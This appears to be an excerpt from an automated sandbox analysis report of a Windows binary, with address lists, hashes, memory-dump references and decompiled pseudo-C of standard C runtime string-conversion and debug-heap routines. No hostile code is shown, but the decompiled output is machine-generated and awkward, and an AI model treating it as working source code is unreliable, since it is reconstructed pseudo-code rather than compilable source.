0x00427a60
0x00427a45
0x00427a45
0x00000000
0x00000000
0x004276d2
0x004276d5
0x004276db
0x00427736
0x0042773e
0x00427745
0x0042774b
0x00427751
0x004276dd
0x004276dd
0x004276e7
0x004276eb
0x004276f3
0x004276fa
0x00427707
0x0042770e
0x0042771a
0x00427727
0x00427729
0x00427729
0x00427730
0x00427758
0x0042775e
0x00000000
0x00000000
0x00427bba
0x00427bbd
0x00427bc0
0x00427bc3
0x00000000
0x00000000
0x00427918
0x00427918
0x00427924
0x00427931
0x004279db
0x004279de
0x004279e1
0x004279f5
0x004279fb
0x00427a01
0x004279e3
0x004279e3
0x004279f0
0x004279f0
0x00427a03
0x00000000
0x00427a03
0x00427937
0x00427937
0x00427939
0x00427947
0x0042793b
0x0042793b
0x0042793b
0x00427951
0x00427957
0x00427964
0x00427966
0x0042796b
0x0042796d
0x00427972
0x00427977
0x00427979
0x0042797e
0x00427984
0x00427986
0x00427986
0x00427984
0x0042798e
0x004279d6
0x00000000
0x00427990
0x00427990
0x00427995
0x004279b1
0x004279b9
0x004279c3
0x004279c6
0x004279cb
0x00000000
0x004279cb
0x00000000
0x00427c1d
0x00427c1d
0x00427c27
0x00427c2d
0x00427c32
0x00427c38
0x00427c38
0x00000000
0x00000000
0x00427bd5
0x00427bd5
0x00000000
0x00000000
0x00427812
0x00427816
0x00427824
0x00427827
0x00427818
0x00427818
0x00427818
0x0042782d
0x00427833
0x00427839
0x00427845
0x0042784b
0x00427851
0x004278b8
0x004278bc
0x004278be
0x004278c4
0x004278c4
0x004278c7
0x004278ca
0x004278d0
0x004278d0
0x004278d0
0x004278dc
0x004278df
0x004278e7
0x00000000
0x00000000
0x004278e9
0x004278e9
0x004278ef
0x004278f4
0x00000000
0x00000000
0x004278f6
0x004278fc
0x004278ff
0x004278ff
0x00427907
0x0042790d
0x00427910
0x00000000
0x00427853
0x00427853
0x00427857
0x00427859
0x0042785e
0x0042785e
0x00427861
0x00427868
0x0042786b
0x00427871
0x00427871
0x00427871
0x0042787d
0x00427880
0x00427888
0x00000000
0x00000000
0x0042788a
0x0042788a
0x00427890
0x00427895
0x00000000
0x00000000
0x00427897
0x0042789d
0x004278a0
0x004278a0
0x004278a8
0x004278ae
0x004278b1
0x004278b3
0x00427913
0x00000000
0x00427913
0x00000000
0x00000000
0x00000000
0x00427be8
0x00427be8
0x00427bf2
0x00427bf2
0x00427bfc
0x00427c02
0x00427c04
0x00427c0e
0x00427c11
0x00427c14
0x00427c14
0x00000000
0x00000000
0x00000000
0x00000000
0x004276b5
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec3
0x00427ec3
0x00427d20
0x00427d17
0x00427c3b
0x00427c3b
0x00427c3b

APIs

_get_int64_arg.LIBCMTD ref: 00427C49
_get_int64_arg.LIBCMTD ref: 00427C71
__aullrem.LIBCMT ref: 00427E16
__aulldiv.LIBCMT ref: 00427E38

Strings

9, xrefs: 00427E49

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction ID: f46fa0e38751c3f7861bdc8c7292369f320f86648efe75a7dec788bf86e6ba47
Opcode Fuzzy Hash: cd2cfd6f4318f5a0225f11cb0a853ca8bb39c7e2334494b0ad3806e4e6a6f94f
Instruction Fuzzy Hash: F24124B1E18629DFDB64DF58D889BAEB7B5BF84300F5041DAE009A7214CB389E81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041C86E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041C8FD
__free_base.LIBCMTD ref: 0041C909

Strings

_pLastBlock == pHead, xrefs: 0041C86E
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C87A

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: ce29ca4761b46ffd7e64525b5fd4c5b5eb950736fb4645536be23fbc868670eb
Instruction ID: eaadb7318667f51b5351953cbb83ff269c284c23f2f02ad1b3dc99f00d11aa5c
Opcode Fuzzy Hash: ce29ca4761b46ffd7e64525b5fd4c5b5eb950736fb4645536be23fbc868670eb
Instruction Fuzzy Hash: 1A01F7B8A40104EBC700DB54DEC1F6EB3B1BB88305F34819AE5056B382D279EE42DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00437036, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00437036(intOrPtr __ebx, void* __edx, intOrPtr __edi, intOrPtr __esi) {
				intOrPtr* _t155;
				signed int* _t157;
				signed int _t162;
				intOrPtr* _t179;
				intOrPtr _t201;
				void* _t220;
				intOrPtr _t221;
				void* _t222;
				intOrPtr _t240;
				intOrPtr _t247;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t294;

				_t291 = __esi;
				_t290 = __edi;
				_t221 = __ebx;
				if( *(_t292 + 0x10) != 0) {
					 *(_t292 - 0x30) = 0 |  *(_t292 + 0xc) != 0x00000000;
					if( *(_t292 - 0x30) == 0) {
						_push(L"pwcs != NULL");
						_push(0);
						_push(0x66);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t220 = L0041E220();
						_t294 = _t294 + 0x14;
						if(_t220 == 1) {
							asm("int3");
						}
					}
					if( *(_t292 - 0x30) != 0) {
						_t274 =  *(_t292 + 0x14);
						L0041ABE0(_t292 - 0x20,  *(_t292 + 0x14));
						if( *(_t292 + 8) == 0) {
							_t155 = E0041ACF0(_t292 - 0x20);
							_t225 =  *_t155;
							if( *((intOrPtr*)( *_t155 + 0x14)) != 0) {
								_t227 = _t292 - 0x20;
								_t157 = E0041ACF0(_t292 - 0x20);
								_t274 =  *_t157;
								 *(_t292 - 4) = WideCharToMultiByte( *( *_t157 + 4), 0,  *(_t292 + 0xc), 0xffffffff, 0, 0, 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422D10(_t227))) = 0x2a;
									 *(_t292 - 0x68) = 0xffffffff;
									E0041ACC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x68);
								} else {
									 *(_t292 - 0x6c) =  *(_t292 - 4) - 1;
									E0041ACC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x6c);
								}
							} else {
								_t274 =  *(_t292 + 0xc);
								 *(_t292 - 0x64) = E0042DA00(_t225,  *(_t292 + 0xc));
								E0041ACC0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x64);
							}
						} else {
							if( *((intOrPtr*)( *((intOrPtr*)(E0041ACF0(_t292 - 0x20))) + 0x14)) != 0) {
								if( *((intOrPtr*)( *((intOrPtr*)(E0041ACF0(_t292 - 0x20))) + 0xac)) != 1) {
									_t240 =  *((intOrPtr*)(E0041ACF0(_t292 - 0x20)));
									_t274 =  *(_t240 + 4);
									 *(_t292 - 4) = WideCharToMultiByte( *(_t240 + 4), 0,  *(_t292 + 0xc), 0xffffffff,  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
									if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
										if( *(_t292 - 0x10) != 0 || GetLastError() != 0x7a) {
											 *((intOrPtr*)(L00422D10(_t240))) = 0x2a;
											 *(_t292 - 0x4c) = 0xffffffff;
											E0041ACC0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x4c);
										} else {
											while( *(_t292 - 4) <  *(_t292 + 0x10)) {
												_t179 = E0041ACF0(_t292 - 0x20);
												_t247 =  *((intOrPtr*)(E0041ACF0(_t292 - 0x20)));
												_t274 =  *(_t247 + 4);
												 *((intOrPtr*)(_t292 - 0xc)) = WideCharToMultiByte( *(_t247 + 4), 0,  *(_t292 + 0xc), 1, _t292 - 0x2c,  *( *_t179 + 0xac), 0, _t292 - 0x10);
												if( *((intOrPtr*)(_t292 - 0xc)) == 0 ||  *(_t292 - 0x10) != 0) {
													 *((intOrPtr*)(L00422D10(_t247))) = 0x2a;
													 *(_t292 - 0x50) = 0xffffffff;
													E0041ACC0(_t292 - 0x20);
													_t162 =  *(_t292 - 0x50);
												} else {
													if( *((intOrPtr*)(_t292 - 0xc)) < 0 ||  *((intOrPtr*)(_t292 - 0xc)) > 5) {
														 *((intOrPtr*)(L00422D10(_t247))) = 0x2a;
														 *(_t292 - 0x54) = 0xffffffff;
														E0041ACC0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x54);
													} else {
														if( *(_t292 - 4) +  *((intOrPtr*)(_t292 - 0xc)) <=  *(_t292 + 0x10)) {
															 *(_t292 - 8) = 0;
															while( *(_t292 - 8) <  *((intOrPtr*)(_t292 - 0xc))) {
																( *(_t292 + 8))[ *(_t292 - 4)] =  *((intOrPtr*)(_t292 +  *(_t292 - 8) - 0x2c));
																_t274 =  &(( *(_t292 + 8))[ *(_t292 - 4)]);
																if(( *(_t292 + 8))[ *(_t292 - 4)] != 0) {
																	 *(_t292 - 8) =  *(_t292 - 8) + 1;
																	 *(_t292 - 4) =  *(_t292 - 4) + 1;
																	continue;
																}
																 *(_t292 - 0x5c) =  *(_t292 - 4);
																E0041ACC0(_t292 - 0x20);
																_t162 =  *(_t292 - 0x5c);
																goto L55;
															}
															_t274 =  &(( *(_t292 + 0xc))[1]);
															 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
															continue;
														}
														 *(_t292 - 0x58) =  *(_t292 - 4);
														E0041ACC0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x58);
													}
												}
												goto L55;
											}
											 *(_t292 - 0x60) =  *(_t292 - 4);
											E0041ACC0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x60);
										}
									} else {
										 *(_t292 - 0x48) =  *(_t292 - 4) - 1;
										E0041ACC0(_t292 - 0x20);
										_t162 =  *(_t292 - 0x48);
									}
									goto L55;
								}
								if( *(_t292 + 0x10) > 0) {
									 *(_t292 + 0x10) = E004374A0( *(_t292 + 0xc),  *(_t292 + 0x10));
								}
								_t274 =  *(_t292 + 0xc);
								_t201 =  *((intOrPtr*)(E0041ACF0(_t292 - 0x20)));
								_t260 =  *(_t201 + 4);
								 *(_t292 - 4) = WideCharToMultiByte( *(_t201 + 4), 0,  *(_t292 + 0xc),  *(_t292 + 0x10),  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00422D10(_t260))) = 0x2a;
									 *(_t292 - 0x44) = 0xffffffff;
									E0041ACC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x44);
								} else {
									if( *((char*)( &(( *(_t292 + 8))[ *(_t292 - 4)]) - 1)) == 0) {
										 *(_t292 - 4) =  *(_t292 - 4) - 1;
									}
									_t274 =  *(_t292 - 4);
									 *(_t292 - 0x40) =  *(_t292 - 4);
									E0041ACC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x40);
								}
								goto L55;
							} else {
								goto L10;
							}
							while(1) {
								L10:
								_t265 =  *(_t292 - 4);
								if( *(_t292 - 4) >=  *(_t292 + 0x10)) {
									break;
								}
								_t274 =  *(_t292 + 0xc);
								if(( *( *(_t292 + 0xc)) & 0x0000ffff) <= 0xff) {
									( *(_t292 + 8))[ *(_t292 - 4)] =  *( *(_t292 + 0xc));
									_t274 =  *( *(_t292 + 0xc)) & 0x0000ffff;
									 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
									if(( *( *(_t292 + 0xc)) & 0x0000ffff) != 0) {
										_t274 =  *(_t292 - 4) + 1;
										 *(_t292 - 4) =  *(_t292 - 4) + 1;
										continue;
									}
									 *(_t292 - 0x38) =  *(_t292 - 4);
									E0041ACC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x38);
									goto L55;
								}
								 *((intOrPtr*)(L00422D10(_t265))) = 0x2a;
								 *(_t292 - 0x34) = 0xffffffff;
								E0041ACC0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x34);
								goto L55;
							}
							 *(_t292 - 0x3c) =  *(_t292 - 4);
							E0041ACC0(_t292 - 0x20);
							_t162 =  *(_t292 - 0x3c);
						}
					} else {
						 *((intOrPtr*)(L00422D10(_t222))) = 0x16;
						_t162 = E00422AA0(_t221, _t222, _t290, _t291, L"pwcs != NULL", L"_wcstombs_l_helper", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x66, 0) | 0xffffffff;
					}
					goto L55;
				} else {
					_t162 = 0;
					L55:
					return E0042BB60(_t162, _t221,  *(_t292 - 0x24) ^ _t292, _t274, _t290, _t291);
				}
			}

0x00437036
0x00437036
0x00437036
0x0043703a
0x0043704c
0x00437053
0x00437055
0x0043705a
0x0043705c
0x0043705e
0x00437063
0x00437065
0x0043706a
0x00437070
0x00437072
0x00437072
0x00437070
0x00437077
0x004370a7
0x004370ae
0x004370b7
0x004373ee
0x004373f3
0x004373f9
0x0043742b
0x0043742e
0x00437433
0x0043743f
0x00437446
0x00437453
0x00437459
0x00437463
0x00437468
0x0043746d
0x00437473
0x00437479
0x0043747e
0x0043747e
0x004373fb
0x004373fb
0x00437407
0x0043740d
0x00437412
0x00437412
0x004370bd
0x004370cb
0x00437175
0x00437241
0x00437243
0x0043724d
0x00437254
0x00437279
0x0043728b
0x00437291
0x0043729b
0x004372a0
0x004372a8
0x004372a8
0x004372bd
0x004372df
0x004372e1
0x004372eb
0x004372f2
0x004372ff
0x00437305
0x0043730f
0x00437314
0x0043731c
0x00437320
0x0043732d
0x00437333
0x0043733d
0x00437342
0x0043734a
0x00437353
0x0043736b
0x00437386
0x0043739b
0x004373a0
0x004373a8
0x0043737a
0x00437383
0x00000000
0x00437383
0x004373ad
0x004373b3
0x004373b8
0x00000000
0x004373b8
0x004373c5
0x004373c8
0x00000000
0x004373c8
0x00437358
0x0043735e
0x00437363
0x00437363
0x00437320
0x00000000
0x004372f2
0x004373d3
0x004373d9
0x004373de
0x004373de
0x0043725c
0x00437262
0x00437268
0x0043726d
0x0043726d
0x00000000
0x00437254
0x0043717f
0x00437191
0x00437191
0x004371a6
0x004371b4
0x004371b6
0x004371c0
0x004371c7
0x00437201
0x00437207
0x00437211
0x00437216
0x004371cf
0x004371db
0x004371e3
0x004371e3
0x004371e6
0x004371e9
0x004371ef
0x004371f4
0x004371f4
0x00000000
0x00000000
0x00000000
0x00000000
0x004370d1
0x004370d1
0x004370d1
0x004370d7
0x00000000
0x00000000
0x004370d9
0x004370e4
0x00437113
0x00437118
0x00437121
0x00437126
0x00437141
0x00437144
0x00000000
0x00437144
0x0043712b
0x00437131
0x00437136
0x00000000
0x00437136
0x004370eb
0x004370f1
0x004370fb
0x00437100
0x00000000
0x00437100
0x0043714c
0x00437152
0x00437157
0x00437157
0x00437079
0x0043707e
0x0043709f
0x0043709f
0x00000000
0x0043703c
0x0043703c
0x0043748b
0x00437498
0x00437498

APIs

__invalid_parameter.LIBCMTD ref: 00437097

Strings

pwcs != NULL, xrefs: 00437055, 00437092
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043705E, 00437088
_wcstombs_l_helper, xrefs: 0043708D

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: b492b0aedd17dd80bf65a2e853ba41457b663f78efbd6f913cc80486625b811f
Instruction ID: 3324762bb445d5e61ed109f15aac8aebdcfe9704b8348c0b2984c69155fb9908
Opcode Fuzzy Hash: b492b0aedd17dd80bf65a2e853ba41457b663f78efbd6f913cc80486625b811f
Instruction Fuzzy Hash: 37F0FF70E84318BAEB306E309D03B5E3661AB28B24F60252FF846351C2DBBE0650864D

Uniqueness

Uniqueness Score: -1.00%

Function 00437515, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00437515(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _t85;
				intOrPtr _t86;
				void* _t91;
				signed int _t95;
				void* _t103;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int _t121;
				signed int _t123;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;

				_t143 = __esi;
				_t142 = __edi;
				_t112 = __ecx;
				_t111 = __ebx;
				if( *(_t144 + 0x10) > 0 ||  *(_t144 + 0xc) == 0 &&  *(_t144 + 0x10) == 0) {
					 *((intOrPtr*)(_t144 - 0x1c)) = 1;
				} else {
					 *((intOrPtr*)(_t144 - 0x1c)) = 0;
				}
				 *((intOrPtr*)(_t144 - 0x10)) =  *((intOrPtr*)(_t144 - 0x1c));
				if( *((intOrPtr*)(_t144 - 0x10)) == 0) {
					_push(L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)");
					_push(0);
					_push(0x133);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t110 = L0041E220();
					_t146 = _t146 + 0x14;
					if(_t110 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t144 - 0x10)) != 0) {
					__eflags =  *(_t144 + 0xc);
					if( *(_t144 + 0xc) != 0) {
						_t128 =  *(_t144 + 0xc);
						 *_t128 = 0;
						__eflags =  *(_t144 + 0x10) - 0xffffffff;
						if( *(_t144 + 0x10) != 0xffffffff) {
							__eflags =  *(_t144 + 0x10) - 0x7fffffff;
							if( *(_t144 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t144 + 0x10) - 1;
								if( *(_t144 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t128 =  *(_t144 + 0x10) - 1;
										__eflags = _t128;
										 *(_t144 - 0x20) = _t128;
									} else {
										_t127 =  *0x440208; // 0xffffffff
										 *(_t144 - 0x20) = _t127;
									}
									__eflags =  *(_t144 + 0xc) + 1;
									E0041B3B0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x20));
									_t146 = _t146 + 0xc;
								}
							}
						}
					}
					__eflags =  *(_t144 + 8);
					if( *(_t144 + 8) != 0) {
						_t128 =  *(_t144 + 8);
						 *_t128 = 0;
					}
					__eflags =  *(_t144 + 0x18) -  *(_t144 + 0x10);
					if( *(_t144 + 0x18) <=  *(_t144 + 0x10)) {
						_t128 =  *(_t144 + 0x18);
						 *(_t144 - 0x24) = _t128;
					} else {
						 *(_t144 - 0x24) =  *(_t144 + 0x10);
					}
					 *(_t144 - 8) =  *(_t144 - 0x24);
					__eflags = 0x7fffffff -  *(_t144 - 8);
					asm("sbb edx, edx");
					_t129 = _t128 + 1;
					__eflags = _t129;
					 *(_t144 - 0x14) = _t129;
					if(_t129 == 0) {
						_push(L"bufferSize <= INT_MAX");
						_push(0);
						_push(0x13f);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t103 = L0041E220();
						_t146 = _t146 + 0x14;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t144 - 0x14);
					if( *(_t144 - 0x14) != 0) {
						_t115 =  *(_t144 + 0xc);
						_t85 = L00437010(_t111,  *(_t144 - 8), _t142, _t143,  *(_t144 + 0xc),  *((intOrPtr*)(_t144 + 0x14)),  *(_t144 - 8),  *((intOrPtr*)(_t144 + 0x1c)));
						_t147 = _t146 + 0x10;
						 *(_t144 - 0xc) = _t85;
						__eflags =  *(_t144 - 0xc) - 0xffffffff;
						if( *(_t144 - 0xc) != 0xffffffff) {
							_t132 =  *(_t144 - 0xc) + 1;
							 *(_t144 - 0xc) = _t132;
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) == 0) {
								L56:
								__eflags =  *(_t144 + 8);
								if( *(_t144 + 8) != 0) {
									 *( *(_t144 + 8)) =  *(_t144 - 0xc);
								}
								_t86 =  *((intOrPtr*)(_t144 - 4));
								goto L59;
							}
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							if( *(_t144 - 0xc) <=  *(_t144 + 0x10)) {
								L55:
								_t134 =  *(_t144 + 0xc) +  *(_t144 - 0xc);
								__eflags = _t134;
								 *((char*)(_t134 - 1)) = 0;
								goto L56;
							}
							__eflags =  *(_t144 + 0x18) - 0xffffffff;
							if( *(_t144 + 0x18) == 0xffffffff) {
								L54:
								 *(_t144 - 0xc) =  *(_t144 + 0x10);
								 *((intOrPtr*)(_t144 - 4)) = 0x50;
								goto L55;
							}
							 *( *(_t144 + 0xc)) = 0;
							__eflags =  *(_t144 + 0x10) - 0xffffffff;
							if( *(_t144 + 0x10) != 0xffffffff) {
								__eflags =  *(_t144 + 0x10) - 0x7fffffff;
								if( *(_t144 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t144 + 0x10) - 1;
									if( *(_t144 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t121 =  *(_t144 + 0x10) - 1;
											__eflags = _t121;
											 *(_t144 - 0x2c) = _t121;
										} else {
											_t95 =  *0x440208; // 0xffffffff
											 *(_t144 - 0x2c) = _t95;
										}
										_t132 =  *(_t144 - 0x2c);
										__eflags =  *(_t144 + 0xc) + 1;
										E0041B3B0(_t142,  *(_t144 + 0xc) + 1, 0xfe, _t132);
										_t147 = _t147 + 0xc;
									}
								}
							}
							_t119 =  *(_t144 + 0x10);
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							asm("sbb edx, edx");
							 *(_t144 - 0x18) =  ~_t132;
							if( *(_t144 - 0xc) ==  *(_t144 + 0x10)) {
								_push(L"sizeInBytes > retsize");
								_push(0);
								_push(0x157);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
								_push(2);
								_t91 = L0041E220();
								_t147 = _t147 + 0x14;
								__eflags = _t91 - 1;
								if(_t91 == 1) {
									asm("int3");
								}
							}
							__eflags =  *(_t144 - 0x18);
							if( *(_t144 - 0x18) != 0) {
								goto L54;
							} else {
								 *((intOrPtr*)(L00422D10(_t119))) = 0x22;
								E00422AA0(_t111, _t119, _t142, _t143, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
								_t86 = 0x22;
								goto L59;
							}
						} else {
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) != 0) {
								 *( *(_t144 + 0xc)) = 0;
								__eflags =  *(_t144 + 0x10) - 0xffffffff;
								if( *(_t144 + 0x10) != 0xffffffff) {
									__eflags =  *(_t144 + 0x10) - 0x7fffffff;
									if( *(_t144 + 0x10) != 0x7fffffff) {
										__eflags =  *(_t144 + 0x10) - 1;
										if( *(_t144 + 0x10) > 1) {
											__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
											if(__eflags >= 0) {
												_t140 =  *(_t144 + 0x10) - 1;
												__eflags = _t140;
												 *(_t144 - 0x28) = _t140;
											} else {
												_t123 =  *0x440208; // 0xffffffff
												 *(_t144 - 0x28) = _t123;
											}
											_t115 =  *(_t144 + 0xc) + 1;
											__eflags =  *(_t144 + 0xc) + 1;
											E0041B3B0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x28));
										}
									}
								}
							}
							_t86 =  *((intOrPtr*)(L00422D10(_t115)));
							goto L59;
						}
					} else {
						 *((intOrPtr*)(L00422D10(0x7fffffff))) = 0x16;
						E00422AA0(_t111, 0x7fffffff, _t142, _t143, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
						_t86 = 0x16;
						goto L59;
					}
				} else {
					 *((intOrPtr*)(L00422D10(_t112))) = 0x16;
					E00422AA0(_t111, _t112, _t142, _t143, L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x133, 0);
					_t86 = 0x16;
					L59:
					return _t86;
				}
			}

0x00437515
0x00437515
0x00437515
0x00437515
0x00437519
0x00437530
0x00437527
0x00437527
0x00437527
0x0043753a
0x00437541
0x00437543
0x00437548
0x0043754a
0x0043754f
0x00437554
0x00437556
0x0043755b
0x00437561
0x00437563
0x00437563
0x00437561
0x00437568
0x0043759d
0x004375a1
0x004375a3
0x004375a6
0x004375a9
0x004375ad
0x004375af
0x004375b6
0x004375b8
0x004375bc
0x004375c4
0x004375ca
0x004375da
0x004375da
0x004375dd
0x004375cc
0x004375cc
0x004375d2
0x004375d2
0x004375ec
0x004375f0
0x004375f5
0x004375f5
0x004375bc
0x004375b6
0x004375ad
0x004375f8
0x004375fc
0x004375fe
0x00437601
0x00437601
0x0043760a
0x0043760d
0x00437617
0x0043761a
0x0043760f
0x00437612
0x00437612
0x00437620
0x00437628
0x0043762b
0x0043762d
0x0043762d
0x00437630
0x00437633
0x00437635
0x0043763a
0x0043763c
0x00437641
0x00437646
0x00437648
0x0043764d
0x00437650
0x00437653
0x00437655
0x00437655
0x00437653
0x00437656
0x0043765a
0x0043769b
0x0043769f
0x004376a4
0x004376a7
0x004376aa
0x004376ae
0x0043771a
0x0043771d
0x00437720
0x00437724
0x00437811
0x00437811
0x00437815
0x0043781d
0x0043781d
0x0043781f
0x00000000
0x0043781f
0x0043772d
0x00437730
0x00437807
0x0043780a
0x0043780a
0x0043780d
0x00000000
0x0043780d
0x00437736
0x0043773a
0x004377fa
0x004377fd
0x00437800
0x00000000
0x00437800
0x00437743
0x00437746
0x0043774a
0x0043774c
0x00437753
0x00437755
0x00437759
0x00437761
0x00437767
0x00437776
0x00437776
0x00437779
0x00437769
0x00437769
0x0043776e
0x0043776e
0x0043777c
0x00437788
0x0043778c
0x00437791
0x00437791
0x00437759
0x00437753
0x00437794
0x00437797
0x0043779a
0x0043779e
0x004377a1
0x004377a3
0x004377a8
0x004377aa
0x004377af
0x004377b4
0x004377b6
0x004377bb
0x004377be
0x004377c1
0x004377c3
0x004377c3
0x004377c1
0x004377c4
0x004377c8
0x00000000
0x004377ca
0x004377cf
0x004377eb
0x004377f3
0x00000000
0x004377f3
0x004376b0
0x004376b0
0x004376b4
0x004376b9
0x004376bc
0x004376c0
0x004376c2
0x004376c9
0x004376cb
0x004376cf
0x004376d7
0x004376dd
0x004376ed
0x004376ed
0x004376f0
0x004376df
0x004376df
0x004376e5
0x004376e5
0x004376ff
0x004376ff
0x00437703
0x00437708
0x004376cf
0x004376c9
0x004376c0
0x00437710
0x00000000
0x00437710
0x0043765c
0x00437661
0x0043767d
0x00437685
0x00000000
0x00437685
0x0043756a
0x0043756f
0x0043758b
0x00437593
0x00437822
0x00437825
0x00437825

APIs

__invalid_parameter.LIBCMTD ref: 0043758B

Strings

_wcstombs_s_l, xrefs: 00437581
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043754F, 0043757C
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00437543, 00437586

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

